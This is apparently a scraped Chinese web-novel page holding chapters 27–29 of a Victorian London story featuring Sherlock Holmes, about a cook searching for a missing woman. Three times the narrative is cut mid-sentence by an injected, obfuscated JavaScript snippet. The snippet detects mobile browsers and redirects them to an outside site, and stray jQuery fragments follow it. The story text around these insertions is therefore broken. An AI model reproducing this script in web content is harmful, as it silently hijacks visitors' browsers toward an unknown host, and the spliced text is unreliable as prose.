“天呐，你不知道那些太太们的要求有多麻烦！”贝蒂曾经向伊莱莎抱怨过，“整个屋子，从门厅到起居室再到会客厅、书房、卧室、梳妆室、婴儿房！所有，所有的房间都要这么做，我必须得把地毯挪开，把灰尘掸走，再用抹布把地板清理干净，打上蜡，最后又把地毯铺回去！” 这只是一小部分，“除此之外，我还得把每个房间的黄铜摆件和陶瓷装饰都擦一遍，擦桌子、清理壁炉、给花瓶换水换花，擦干净靴子、换床单……” “啊，真是——”贝蒂长叹一声，“仅仅是在口头上回忆要干的活儿，我都感觉腰酸得抬不起来。” 她的大姐在康沃尔郡一个豪华的乡村别墅当女佣，而且快要混到女管家之下的首席女佣的地位了。 贝蒂对这种生活也毫并不向往：“你知道，仆人们最好跟主人隔离开，最好的仆人总是像影子一样。如果在走廊和楼梯上不小心遇见主人，必须要转过身去紧紧贴着墙壁，不能让主人看见他们的脸，最好像一朵壁纸上的花一样。” 小姑娘贝蒂不能把尊严准确的描述出来，但她对这种阶级的隔阂感和自我遭到的践踏很厌恶。 “我哥哥觉得我在胡闹，总是到处换工作。但是我爸爸不在乎这些，他觉得我至少还没沦落到感化院呢。”贝蒂笑嘻嘻地说，“你呢，莉兹，你总是这么孤零零一个人。” 伊莱莎想，她倒是差点沦落到感化院了。 贝蒂说的家政女佣她也干过，一个体面的寡妇雇佣了她。由于太过体面，为了满足她的清洁要求，伊莱莎感觉自己每天都在军/训。 干了不到一周，她就想提桶跑路了。 然后她的机会就来了。 寡妇太太有一个文质彬彬的无业侄子，他一开始顾及到自己的姑姑，没敢太过放肆，只是对伊莱莎念一些雪莱的爱情诗，作为一个来自多塞特的乡下人，伊莱莎得心应手地装上了文盲。 之后他就开始唱一些下流的歌谣了，伊莱莎警告说要告诉他姑姑，他像是所有花花公子一样不以为意，“正派女孩的矜持嘛，我都明白。”他吹着口哨说。 那天早上伊莱莎打了一桶水，提到客厅去擦窗户，那个男人从背后搂住她，把她吓得梦回列车。 感谢女仆制服的轻便，她一脚踹到他的裆上，男人像虾子一样蜷缩起来，伊莱莎揪住他的衣领，握起拳头打到他的鼻子上，然后把他按到水桶里，过了一会儿再拉出来。 她既没有真的淹死他，也没有用剪刀剪掉他的舌头或者敲掉他的牙齿，只是把他的鼻子打破了。 他的鼻血狂喷，把伊莱莎的制服都弄脏了。 但是对于她体面正派的主人来说，场面实在太过血腥暴力，她虽然没有像侄子叫嚣的那样把伊莱莎送到警察局，但也不能再雇佣一个暴力的女仆了。 寡妇给伊莱莎写了一封推荐信，隐瞒了离她职的原因，还夸赞伊莱莎的力气惊人，可惜“太漂亮了，会引起一点小麻烦”。、 伊莱莎提着行李箱，拿着这封有瑕疵的推荐信回到切恩路21号。那儿毗邻一家著名的注册家政女佣介绍所，是一个男士护理品推销商的家，他也是洛维拉夫人的伦敦代理人之一。 “有点儿麻烦，不过也无所谓。”瘦小的商人菲克逊用手指弹了一下介绍信，像翻看账本一样翻到下一页，“爱波多尔并不在乎仆人有多么正派，按他们那样的换人频率，哪来那么多正派人给他们使唤？” 伊莱莎深吸一口气：“好吧，那我要在施洗约翰节之前保证自己能入职吗，还是由你来安排？” 菲克逊摇动竖起的食指：“不不不，别着急，伊莱莎小姐。伦敦社交季没结束之前这个毒虫还有得忙呢，他现在可不想分心处理自己别墅的事，在八月没过完之前是不会有动静的。” 那她怎么办？ 突如其来的自由让伊莱莎感到茫然，她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15314569|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 问：“那我要做什么？” 不来点儿暗杀培训吗？ “你不是要自己去确认关于米尔沃顿的事吗？”菲克逊笑了笑，伊莱莎没想到夫人连这话都告诉了他，他摊开支票簿，在上面写了一个数字，递给伊莱莎。 又是三百英镑，他们洛维拉家的人对三有什么执念吗？ 菲克逊笑道：“好姑娘，你受委屈了，希望这能让你的心情平复一下，不得不说，你那个往剃须膏里面加颠茄的主意真是不赖——” 他们在屋子的一楼聊天，临河的房屋总是格外的昏暗。伊莱莎举起支票，走到有光亮的窗户前，看着这张支票，问道：“夫人是不是认为钱可以买到一切。” “很遗憾，但是——文明世界的所有人都这么认为。” 她离开了推销商的家，沿着泰晤士河的河岸漫无目的地走。一个手握六百英镑的乡村少女没有什么理由不开心，她开始思考，如果她真的有一万英镑，她是不是真的会把那个男人按死在水桶里。 伊莱莎像当下的人警惕瘟疫一样警惕自己脑海里闪过的嗜血想法，她很恐惧变成一个暴力而又失控的人。 难道基因里的暴力因子也能跨越时代存留在她的身体里吗？ 要是妈妈在就好了，她总是能找到理由来骗人。、 伊莱莎听着河水的声音，想到的不是从火车上掉落的瞬间，而是从常蒂小姐家回到磨坊的路。 她想起了帕夫太太留给她的地址，招来了一辆出租马车，去了波特曼街的爱玛旅馆。 ——你总是这么孤零零的一个人。 贝蒂以为她会又沉默下去避而不答，伊莱莎突然说：“我姐姐在湖区的农场工作，妈妈在乡村旅店当厨师，她们……” “啊，这就说得通了。”贝蒂恍然大悟。 “说得通什么？” 贝蒂肯定地说：“你的身上这么香，一定是因为你妈妈是个厨师！” 有时候，我们乡下人真的不理解你们伦敦人的脑子…… 伊莱莎无语：“贝蒂，烹饪食物跟甜品是两个气味。” “噢？所以你住在甜品店附近吗？”贝蒂对她着有浓郁的好奇。 她摇摇头：“你不是都猜到了吗，我还在兼职甜品师。” 不过不是在甜品店，而是在地下妓/院。 这种话可不能跟小孩儿说，伊莱莎无视了贝蒂想要去看看的请求，对她说：“下次给你带蛋糕，你喜欢什么口味的果酱，树莓，橙子，还是甜杏酱？” 贝蒂气呼呼地想，莉兹又把她当小孩子哄了，朋友怎么能这样！ 她瓮声瓮气地说：“甜品店有什么不能去的，你总是这样——算了，我喜欢树莓。” 28.chapter28 情人厄里斯 凯莉是她的同事，或者说预备同事。 伊莱莎确信鸨/母哈丽雅特·班尼特愿意给她开出一周十八先令的周薪不只是因为她缺一个厨师，还存着把伊莱莎纳入麾下的心思。 不过在她一脚把闯进厨房的一个暴力狂嫖/客踢翻之后，她不敢保证老班尼特是否还保持着初心。 而凯莉·沃特斯，就是那个接待性/虐/待爱好者的倒霉蛋。 “我以为第二天就不会再见到你了，你看来可是一点都不想再继续待下去。” 凯莉趴在柔软的羽毛床垫上，往身上有淤青的地方涂药膏，满屋子都是青草的味道，她从一个药剂师那里买的，据说配方来自印度。 伊莱莎把拆开的信收好，放进匣子里，坐在椅子上伸了个懒腰：“是吗，我要是走了，谁来保护你呢？” 她当时就看出凯莉是故意把人往厨房引的。 凯莉发出轻柔的笑声：“你想太多了，莉兹，我只是想把他锁到厨房里，免得在宴会厅把客人都吓跑了，说不定还会把警察引过来。老班尼特养了两个打手，就在门厅待命，你当时冲上来把他掀翻的时候，把我吓一大跳呢。” “被吓了一跳还能顺手偷一块金表？” “很遗憾，我是赫尔墨斯的女祭司，杰克·道金斯的姐妹，你要去苏格兰场检举我吗？”凯莉故意用甜蜜的腔调抱怨。 伊莱莎冷酷地回应她的柔情蜜意：“我可不是萨福，我要去邮局一趟，寄一点东西。” 她把要寄的东西装进手提箱里，给琼恩买的印度香料，嵌有贝母装饰的镜子送给苔丝，寄给玛丽·柯莱的积木玩具，送给常蒂小姐家的安妮的香水，还有拉德克里夫先生的一支据说是狄更斯握过的钢笔——鉴于伊莱莎是用对半砍的价格买下它的，真实度有待商榷。 至于给常蒂小姐准备什么礼物，她还没想好，打算明天上午去旧书商那里逛一逛。 伊莱莎提着一箱东西正要出门，凯莉躺在床上翻了个身，背对着伊莱莎，突然说：“你最好有个准备，我想伊迪丝不会回来了。” 她停下脚步，深吸一口气，说：“好，我知道了。谢谢你，凯莉。” 伊迪丝是她愿意在地下妓院当厨师的最主要原因。 那天她从推销商菲克逊的家离开之后，沿着泰晤士河漫无目的地闲逛，最后她想起了一件重要的事——帕夫太太也在伦敦。 根据她留下的地址，伊莱莎去拜访了波特曼街的艾玛旅馆，旅馆老板告诉她房客帕夫太太已经离开了。 伊莱莎顺道在艾玛旅馆租了一个房间，给琼恩、苔丝、常蒂小姐、玛丽·柯莱和井桥都写了信，告诉他们自己的落脚点和通信地址。 然而拉德克里夫先生在回信里告诉她，帕夫太太并没有回到井桥，也没有给他写信告知她的下落。 于是伊莱莎去托特纳姆法院路找到了拉德克里夫先生的儿子理查德，这个年轻的管道工程师告诉她，帕夫太太确实来找过他，因为她不知道女儿多丽丝·琼斯的去向，而女婿已经从雇主那里辞职，也不知道是不是去了其他家当私人马车夫。 她去警察局询问，警士们也只是应付了事。 理查德帮帕夫太太联系了詹姆斯·威灵广告公司，在报纸上刊登了寻人广告，然而毫无回应。 “她没有再来找我，我以为她已经离开伦敦回到井桥了。”他翻出来一些报纸，指着上面的寻人启事给伊莱莎看，那都是两三周之前的事了。 他踌躇着，问伊莱莎：“我们要在上面登寻人启事吗？” 比起这种大海捞针的方式，伊莱莎用了一个更有效果的方法，她花了十先令，从艾玛旅馆的侍应生那里打听到了一件事：帕夫太太去过圣约翰伍德和骑士桥那一带，还抱怨过一个香水店员工要的小费太多了。 她去圣约翰伍德找香水店，一家叫罗斯玛丽的香水店在橱窗的边角贴着一张隐秘的告示，说在招晚宴厨师，薪资丰厚。 店主哈丽雅特·班尼特说：“我听伊迪丝说过，确实有一个妇人向她打听过。不过伊迪丝跟人去度假了，你要问的话要等到她回来才行。” “她没有通信地址吗？” 班尼特狡猾地说：“没有，她跟的客人怪得很，有钱人都喜欢保密。” 老鸨向她暗示了一番伊迪丝服务的客人的富贵身份，上下扫视了伊莱莎的打扮，问她考不考虑赚点轻快的钱。 伊莱莎笑了笑，问：“您在招厨师？” 像当初的磨坊主一样，班尼特发现这个女孩的厨艺竟然真的不错，主要是她糕点烤得不错，烹饪的菜口味过于清淡了。 不过这不重要，谁想带着满嘴香料味儿办那些事儿？ 放一些甜美的蛋糕正好。 最重要的是，伊莱莎这个厨师比她的脸蛋还让班尼特称心如意，男厨子们工资太高，厨娘们又不愿意到不体面的地方工作，而愿意接手的厨艺又不行。 伊丽莎白·帕夫小姐竟然成了当下最好的选择。 班尼特敷衍地安抚伊莱莎：“帕夫小姐，伊迪丝最多一个月就会回来了，到时候你就可以知道你姑母的下落了，你放心吧。” 鸨/母给新厨师开出的待遇是每周十五先令，不提供住处，厨房剩下的食物伊莱莎可以带走，是工作福利的一种。 她只需要做晚餐——这一餐至少负责六十个客人，有两个厨房女佣帮忙打下手。 幸好她离开了多塞特，地理上的距离把改变剧情的惩罚大大削弱了。 总的来说，伊莱莎感觉像是每天都保持着38度的中度发热，除了让她对食物丧失胃口、体力有所削减之外，没有其他的副作用。 而食欲减少，与其说是发热带来的影响，不如说是看到人类纵/欲发泄的原始兽态而倒尽胃口。 麦克白是怎么说的？ 荣名和美德已经死了，生命的美酒已经喝完，剩下来的只是一些无味的渣滓。 食物和欲望一样在宴会厅唾手可得，厨房里堆着绵羊、牝鹿和小公牛的尸/体，云雀、野鸡、鸽子、山鹬挂着钩子上，排成一排。 她按照餐单准备的三文鱼、鸡肉卷饼、烤羊肉、鳟鱼慕斯、火腿奶油冻、烧牛肉，还有摆了三层甜品架的苹果派、国王饼、夏洛特蛋糕、樱桃派、布丁卷，这些食物们根本吃不完，剩下的全都被可耻地挥霍浪费掉。 伊莱莎一直没有使用她可以拿走多余食物的福利，凯莉不缺吃的，她拿去卖给别人又太麻烦，本来在厨房干活就累得要死，她实在懒得赚这笔外快。 另一个原因则是帮工的两个女孩需要，伊莱莎不想跟她们抢这些收入，她有洛维拉夫人的慷慨谋杀补贴，在钱财上宽裕得很，这些食物不如让给更需要的人。 贝蒂以前是不需要的，但她最近应该是跟家里吵架了——她的肚子这几天里响了很多次，比起以前频率大大增加。 小姑娘依旧不依不挠：“可是我觉得你很关注艾琳小姐，你根本就不讨厌她嘛。” 伊莱莎并不讨厌她，她听过一两次艾琳的演出，这位女低音演员的音色丰满、浓厚又柔和，整个曲子都被她染上了浓郁的色彩。 除此之外，伊莱莎还发现，靠近艾琳能够让自己头脑变得更清醒——上次让她有这种感受的是洛维拉夫人，再上次是火车上的谋/杀/犯。 这就不太美妙了。 她让贝蒂凑近耳朵，语气神秘地对她说：“你从我的脸上难道看不出厄里斯的影子吗①？” 贝蒂退后一步，仔细观察她的脸，摇摇头：“我只能看出你长了一张很多人想要的脸，对了，厄里斯是谁，你的情人吗？” 洗涤间里弥漫着微妙的沉默，伊莱莎顿了一下，说：“也许我会给艾琳小姐带去麻烦，我最近一直在倒霉。” 下班之后，伊莱莎赶去圣约翰伍德继续打工。 她忙完快要到九点，回到住处忍着困意清洁了一下身体，倒头睡得昏天黑地。 第二天起床时，凯莉还没回来，女房东帮她收了信，放到了房门边挂着的箱子里。 琼恩来信向她抱怨她的外婆年纪大了，人比年轻时还要固执——伊莱莎来到这里大半年了，才知道自己的外婆还活着。 苔丝给她寄了湖区的风景明信片，至于她在信里问的那位提供辩护材料的好心先生是谁，坚定的姐姐一直不肯回答。 拉德克里夫先生转寄了一封信给伊莱莎，正是之前的生活杂志和严肃的“毒芹”先生给她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15331700|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 写的回信，里面还有约画的稿费。 现在看来，简直是恍如隔世，那时候她还在计划要跟帕夫太太一起去伦敦呢。 伊莱莎把收到的信按日期排好，放进信匣里。 雅典娜音乐厅的小提琴手告诉她，肯辛顿的教堂街那里有几家书商②，专卖到处收来的旧书，真假参半良莠不齐，如果不怕被骗的话，可以去那里淘淘宝，很多收藏家也喜欢去那里买书。 伊莱莎在几家书店前徘徊了一会儿，走到了角落里摆放的露天书摊。 摊主是一个精瘦的中年人，扫了一眼伊莱莎，她穿着豆沙粉格纹的套裙，只有袖子上有花边装饰，看起来像是穷牧师的女儿。 他于是扬扬下巴，让伊莱莎自己挑看。 伊莱莎小心地翻着书，上面摆着的都是些宗教祈祷书，大部分都破损了，书脊破裂，装订线也断掉，她都不敢拿起来看。 里面品相好一些的是一本贺拉斯的诗集，看上去像是书商还在卖三卷精装书的年代印刷的，用皮革当书皮，上面压出了繁复的花纹，书的字体设计得很有意思，伊莱莎看了下出版社，是一家私人出版社。 老板凑过来，指着扉页上出版社的墨字对她说：“这家出版社已经倒闭了，他们家的印刷字模都是特意设计的，很有特点，而且……” 摊主用“你赚大了”的语气道：“这家出版社已经破产了，合伙人里的其中一个把字模扔进了泰晤士河里，这家出版社的书都是绝版品类了。” 伊莱莎板着脸，放下了书。 这本书的价格看起来似乎不能冲淡它的霉运。 书摊老板也不急着挽留她，伊莱莎继续扫视着书摊上的东西，在看到角落的一个东西时，突然停住了目光。 这里怎么会有…… 带着陌生的亲切感，她毫不意外地翻开这本线装书，这本来自东方的书是一个政府的官员自己付梓印刷的诗集，并不出名。 她装作感兴趣的样子，问老板：“这种书还有多的吗？我是一个画插画的，最近想要找点东方的纹饰来参考。” 老板意有所指地看了眼贺拉斯的诗集，伊莱莎叹口气，问：“多少钱。” “十先令，这几本书都一起送您。这些书都是我从一个学者那里收来的，他叫亨利·贝克，一直在大英博物馆研究一些乱七八糟的东西，这是他的地址。” 老板在纸条上写了一行字，放到了书上。 伊莱莎点点头，指着它们说：“给我一起包起来吧。” 她正要掏出钱包，一股推力从背后传来，耳边响起衣服的摩擦声，还有越来越远的脚步声，好像有人跑走了。 伊莱莎以为自己又回到了威茅斯的火车上，差点没控制住条件反射又想踢人。 “小心一点，小姑娘。”她的头脑突然清醒，老人的声音让她停下了动作。 回过神来，伊莱莎发现自己正在向前倾倒，一脸砸到书摊上是可以预见的前景。 身后的人一手抓她的腰带一手拉她的肩膀，把她拉得一个趔趄。 伊莱莎摇摇晃晃地站稳了身体，老人率先开口指责她：“毛手毛脚的，现在的年轻人！” 他的头发灰白，脸上浓密的胡子也花白了，皱纹不多，看不出年纪。 伊莱莎猜测他应该不是很老，因为他拉住她的力气很大，虽然被她带得歪了一下，很快又站稳了。 她欲言又止，感觉跟一位老人置气有点过于计较了，而且刚才他还拉住了自已——虽然看上去好像就是他推了伊莱莎一把。 “小姐，您需要我们的邮政目录吗，可以留一个您的地址，每个季度的新书我们都会编成目录给您寄过来，到时候您就不用亲自上门来买书了。” 你一个真假参半的旧书摊搞什么新书推销目录？ 伊莱莎无语地拒绝了，她掏出钱包，付给了书商十先令。 等等，钱包……被人割破了。 刚才那位老人，是在提醒她吗？ 她环顾四周，不见他的身影，老人在她付钱时离开了。 教堂街拐角的暗巷处，歇洛克·福尔摩斯先生弓着背，对着阴影里的人，用老年人的语速慢慢地说：“我找多丽丝·霍夫曼。” 29.chapter29 枪与可可 “我以为不敲到一英镑你是不会成交这笔买卖的。”头发灰白的老人佝偻着背，靠在墙边，抽着劣质的卷烟。 即使在富足的肯辛顿区，街道的角落依旧活跃着不受欢迎的生灵，蚊虫在门廊下飞绕，五月的伦敦以平等的态度包容着万物。 摊主用报纸扇走飞虫，顺便扇扇风：“我不用爬上桑树，也能看到您的义举①，唉——伟大的福尔摩斯先生！阻止了一桩钱包被偷的惨事。瞧吧，有您行善事在前，我当然紧跟其后。” 他咧嘴一笑：“不过，您怎么突然这么好心？” 福尔摩斯瞥了他一眼：“这话听上去像是被我坏了好事的罪犯说的。” “什么好事？噢——您也承认她是个美人？”书摊老板闭口不谈自己打算敲美人一笔。 自由贸易主义的事儿，能叫敲竹杠吗？ “她确实挺漂亮的，对吧，虽然打扮得像个寒酸老学究的女儿——但这让她更可爱了。” “她是个厨师，身上有黄油、牛奶和糖混合的味道，甜得发腻，食指指尖有刀伤。”福尔摩斯看着指间的烟头，“除此之外，她还是一个高级浣洗女佣。” “当她的手在你的摊位上翻动书的时候，除了躲在报纸后面偷看她的脸，你也应该观察一下她的指尖。” “福尔摩斯！”书摊老板控制住音量，不满地小声抱怨。 侦探充耳不闻，自顾自地分析下去。 “中指和无名指上面有长好的针孔，手腕处有烫伤的痕迹，是熨斗留下的，指缝里有蓝色的染料——鉴于高级洗衣店和伦敦的别墅都不接受兼职的高级女佣，她可能在剧院工作。” “不过，她为什么不能是一个打零工的洗衣女孩呢？” “哪双手成天泡在水里不会红肿起疹子？” 摊主老调重弹：“就算她的手上长满了疹子，也不妨碍她看上去像一朵香豌豆那么甜蜜。我欣赏她就像看一朵花园里赏心悦目的花，当然，你是不会懂的——不管是她还是香豌豆。” 福尔摩斯冷酷地掐灭了烟头，嘲讽地笑了一声。 这声哼笑显然激怒了对话者。 “狂妄的培尼狄克，迟早你会遇到一个贝特丽丝狠狠收拾你一顿②。” “亲王殿下③，您省省吧。”他掸掉身上的烟灰，“眼睛生了白翳，与其转行去当丘比特，不如找一个眼科医生看看。” 摊主反唇相讥：“阿波罗尚且敢向丘比特夸口杀了皮同④，你却对爱情避如蛇蝎。” “爱情跟我的头脑是矛盾的，从我最近接触到的案子来看，爱情就像是喀耳刻的毒药，沾上了它，再聪明的头脑也会变得愚蠢。” 他沉吟片刻，突然说：“香豌豆，从种子到植株都有毒。亲王殿下，恭喜你，不仅没有老眼昏花，还独具慧眼。” 老板听出他的言外之意，也不在意他的嘲讽了，转而兴致勃勃地问：“怎么说？” “她的手提包里装着两封信，一封信是私人信件，上面盖着兰戴尔·派克⑤的印鉴。另一封信来自蓓尔美尔街十四号的考尔特枪炮公司⑥，它们售卖的枪/支里最便宜的是韦伯礼转轮手枪，五英镑一支。” 伊莱莎沿着教堂街向南走，拐到了肯辛顿路，走过阿尔伯特亲王纪念碑时，她停下来歇歇脚。 伦敦还没到最炎热的季节，一匹马拉着轻便的两轮马车跑过鹅卵石路，发出泠泠的响声，海德公园的草地上，保姆们推着婴儿车，三三两两地聚在一起聊天，穿着晨礼服的淑女撑着阳伞，在花树下散步。 商店的橱窗上张贴了庆祝女王登基庆典的海报，卖报人们在街角游走叫卖，伊莱莎路过一家甜品店，一边走路一边观察天鹅绒布上布置的甜品架，上面用丝带和纸花摆出了立体的装饰。 黄油酥饼搭起了一个小屋，切成三角的苹果派露出里面米红的馅料，果酱布丁卷的花纹也成了装饰的一环，水果沙拉蛋糕上面堆满了树莓，像一座粉色的雪山。 从色彩搭配来看，大部分都是黄色的蛋糕为底布，上面用浆果当色块进行搭配，伦敦的蛋糕店似乎对天然色素的染色使用还没怎么开发出来。 伊莱莎想得入神，没注意到酒吧雨棚边的爬藤架上长满了金银花，开得铺天盖地密密匝匝，其中冒出来的一只把她的宽檐草帽刮掉了。 她蹲下身，捡起帽子，感觉这预示着自己不再适合呼吸伦敦的灰尘了，于是顺从内心想要躲懒的想法，放弃了步行到目的地的打算，走去出租马车角上了一辆马车。 “去蓓尔美尔街十四号。” 马车晃得她有点想睡觉，伊莱莎实在不是一个精力旺盛的人，如果不是不放心邮寄包裹的可靠性——虽然这是当下最可靠的方式之一，她是绝对不会在休息的上午放弃补觉的机会的。 蓓尔美尔街跟圣詹姆斯街相连，她付给了车夫一先令六便士的车费，站在两条街的拐角处，静静观察着街道上的建筑。 不知道兰戴尔·派克隐藏在哪扇凸肚窗的后面呢？ 两条街上布满了俱乐部和商店，伊莱莎沿着铜制门牌号找过去，走进了考尔特公司。 她向接待处的店员出示了自己的信，说明来意：“我是来取之前订购的东西的。” 一对转轮手枪，一只枪管六英寸长，另一只四英寸。 英国此时还没通过1903年对手枪的特别管理条例，设立专门的枪支管理法案更是要等到三十年后，只要付得起钱，谁都可以买一把枪来用。 甚至是街巷里的流浪儿们，只要攒够了六先令，也能去二手贩子那里买上一把破旧过时的手枪。 得益于当局宽松的枪/支授权体系，任何一个对自己的财产缺乏安全感的人都可以轻易地买到左轮手枪。 伊莱莎并没有被盘问，也没有被怀疑，她在登记簿上写上了伊丽莎白·帕夫的名字，这和她在人口普查记录上的名字是一致的。 沿着蓓尔美尔街转到圣詹姆斯街，走到怀特俱乐部时，她深吸了一口气，捕捉到空气里浓郁甜蜜中略带酸涩的可可味。 伊莱莎哼笑了一声，抬起头，往头上的几扇凸肚窗里扫视。 圣詹姆斯街并不长，她很快走到路的尽头。 怀特俱乐部二楼窗后的窗帘微微抖动，一个戴着金丝眼镜的男人合上《潘趣》杂志，望着伊莱莎的背影，目送她走上皮卡迪利大街，再转到摄政街，消失在建筑物之后。 伊莱莎回到骑士桥的住处时，神出鬼没的凯莉已经回来了。 “早饭吃的什么？”凯莉跟她寒暄。 “苹果燕麦粥。” “噫……”凯莉发出受不了的声音，“你明明可以吃点自己烤的蛋糕。” 伊莱莎对室友耸耸肩，道：“为了我的牙齿着想，我不喜欢吃太甜的东西。而且我按我妈妈的方式煮的燕麦粥，在火候和水量上都把控得很好，刚好煮到燕麦融化但不会过于黏黏糊糊的样子，你要试试吗？” 她背对着凯莉，在靠墙的橱柜里翻找针线。 凯莉把手帕团成一团，扔到她的包裹上，好奇地问：“这是什么？” 是那对手枪。 伊莱莎把它拆开，扔到凯莉的床上。 重物在床垫上沉沉地压下去，凯莉吓了一跳。她来不及细看，直接跳下床，扑到伊莱莎身上，抓住她的脖子，故意闹她。 两个姑娘在地毯上翻滚玩闹了一会儿，伊莱莎率先投降：“抱歉，抱歉——凯莉，请相信我的脑子和眼睛，它是绝对不会砸到你的。” 凯莉站起来，伸手把伊莱莎也拉起来。 她弹跳回床上，伊莱莎则坐到扶手椅上，用自己略微有些蹩脚的缝纫技术在裙子的口袋处加上一个暗袋。 凯莉·沃特斯穿着睡衣，披着晨袍。 打闹之中晨袍带子松开，藏蓝色厚缎子上面用金线绣着大丽花，她躺在羽毛床垫上，像一朵靡丽的花。 “你怎么想到要买/枪？”她好奇地打量着这两把锃亮的武器，枪管闪烁着冷光。 伊莱莎说：“我打算多练一门手艺。” 凯莉把两把枪踢下床，她静静地躺在床上，突然出声：“关于伊迪丝，你怎么看？” “我在艾玛旅馆询问了所有能贿赂的人，帕夫太太是在周三晚离开的，周四的白天，一个男人拿着她的字迹的纸条去取她的行李，这个男人的打扮像车夫，说要把她的行李送去火车站，旅馆老板并没有怀疑什么。” “伊迪丝是个胆小的姑娘。”凯莉说，“我提醒过她，那个所谓的颜料商人，可能是骗人的。” 甚至更严重，他也许是个人口贩子。 凯莉有些迷惘：“伊迪丝不是没有怀疑过，我还教了她一些求救的法语。可是为什么她还是去了，她不害怕吗？” 在温暖的五月，她突然打了个寒颤。 伊莱莎放下缝补的衣服，把针插到花边上，走到床边，跪坐在地摊上。 “或许是因为她想逃离这里。”伊莱莎冷静地分析，近乎于冷酷了。 “这里不好吗？”凯莉陷入了忧郁的呓语，在这个不大的房间里，对一个才认识不久的陌生人吐露心事，简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352814|165096||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直像是中了女巫的咒语，“有什么可怕的。” 外面的世界里，一天要工作十几个小时，不管是去工厂还是去当女佣，拼了命地干活也只能勉强养活自己，忍受工头的压榨，主人的虐待，住在潮湿阴暗的角落，与臭虫和垃圾堆为伴，这样的生活，难道不比在这里更可怕吗？ 凯莉翻了个身，避开身上的淤青，至少她还没有意外怀孕，也没有感染致命的脏病。 她抓着伊莱莎的手，像小时候去教堂做礼拜一样，道：“我是不是太贪心了，已经走了这样一条路，竟然还想着去更轻松、更明亮的地方。” “不，凯莉。”伊莱莎摇头，“你不用苛责自己，有人在受更大的苦，并不代表你的苦楚就是不值一提的。” 她一直觉得自己有点倒霉，但实际上她已经很幸运了。 伊莱莎认真地说：“如果你想离开这里，我可以给你介绍一些去处。” “比如？” “我姐姐在湖区经营农场，我的朋友在慈善学校当校长，她可以接收一个新的老师。我妈妈……额，在一家乡村客栈当厨师，跟我外婆和姨妈吵架，你应该受不了那里。” 凯莉沉默了，响亮地笑了一声：“我还是更喜欢钱一点——咱们来聊点实际的吧。” 好吧，伊莱莎看她的心情好了些，就道：“我在报纸上登过寻人启事找帕夫太太，留的是一个熟人的地址，他没有收到回音。 “我也去警察局登记和询问过，有一位警官帮我查阅了移民局的档案。后来我还去了多丽丝·琼斯的疗养院，她在今年一月离开了那里，而琼斯一家在去年十二月就提交了移民美国的申请。 “我不知道帕夫太太是不是也查到了这些，她可能怀疑多丽丝跟琼斯分居了，沦落到去当了暗/娼，所以才去班尼特的香水店那一带询问。 “如果只是卷入了普通的麻烦，单独行走的帕夫太太被流氓抢劫犯盯上的话，不会有一个车夫来拿她的行李，背后的人不希望引起半点儿怀疑。 “我想，她应该是撞进了一件大事儿。” 凯莉跟伊莱莎对视一眼，她说：“我之前跟你说的兰戴尔·派克，他也许会知道一点儿消息。伦敦所有的小道消息都经过他的耳朵，他能得到警察和私家侦探不知道的信息。只是这个人很难联系到，只有身份高贵的客户或者给他提供稳定的消息的人才能见到他。” 伊莱莎从手提袋里取出信：“我收到了他的回信。” 凯莉脱口而出一句脏话。 “你的动作也太快了吧！”凯莉有些震惊，“你是怎么联系上他的？” 伊莱莎难得有点羞赧：“我给《每日邮报》投了几篇稿子，他们很欢迎我的简笔画——还有我在音乐厅听到的八卦，比如某伯爵跟某演员甜蜜约会……总而言之，我通过报纸的编辑联系上了他。” 凯莉吹了一声口哨。 信封上除了邮票和邮戳，只剩下一个兰戴尔·派克的签名，还有一座山峰的标记。 “他怎么说？” 伊莱莎把信纸递给她看，里面的内容十分简短：“来找我，伊莱莎小姐。” 凯莉把信翻来覆去地看，好奇地问伊莱莎：“你要怎么办？很明显，这个男人想玩弱智的寻宝游戏。” “邮戳是马里波恩，那是一个大区，而且我怀疑兰戴尔·派克故意让佣人跨区寄信。他没有固定的住处，或许他有一个安全屋，但他绝不会在那里接待客人。所以我打算分三个方向去调查，俱乐部、酒吧，还有教堂。 “信纸很厚实，而且很干净，我想他不大可能会忍受酒吧的糟糕环境，俱乐部更隐蔽，而教堂更安全。” 伊莱莎把信纸递到凯莉的鼻子下：“你有闻到一股味道吗，托卡伊白葡萄酒的味道？” 凯莉的鼻翼翕张，凑近了仔细地嗅闻，然而她只能在墨水的味道里模糊地捕捉到一点异样。 “这样昂贵的葡萄酒让我更倾向于俱乐部，而且你注意到信封的封口了吗？” 她指着封口处的胶水上一小团的黑点，“信封是佣人封上的，上面洒落了一点东西。” 凯莉不确定地说：“是什么，炭粉？不对——是……很熟悉，是什么来着？哦！可可。” 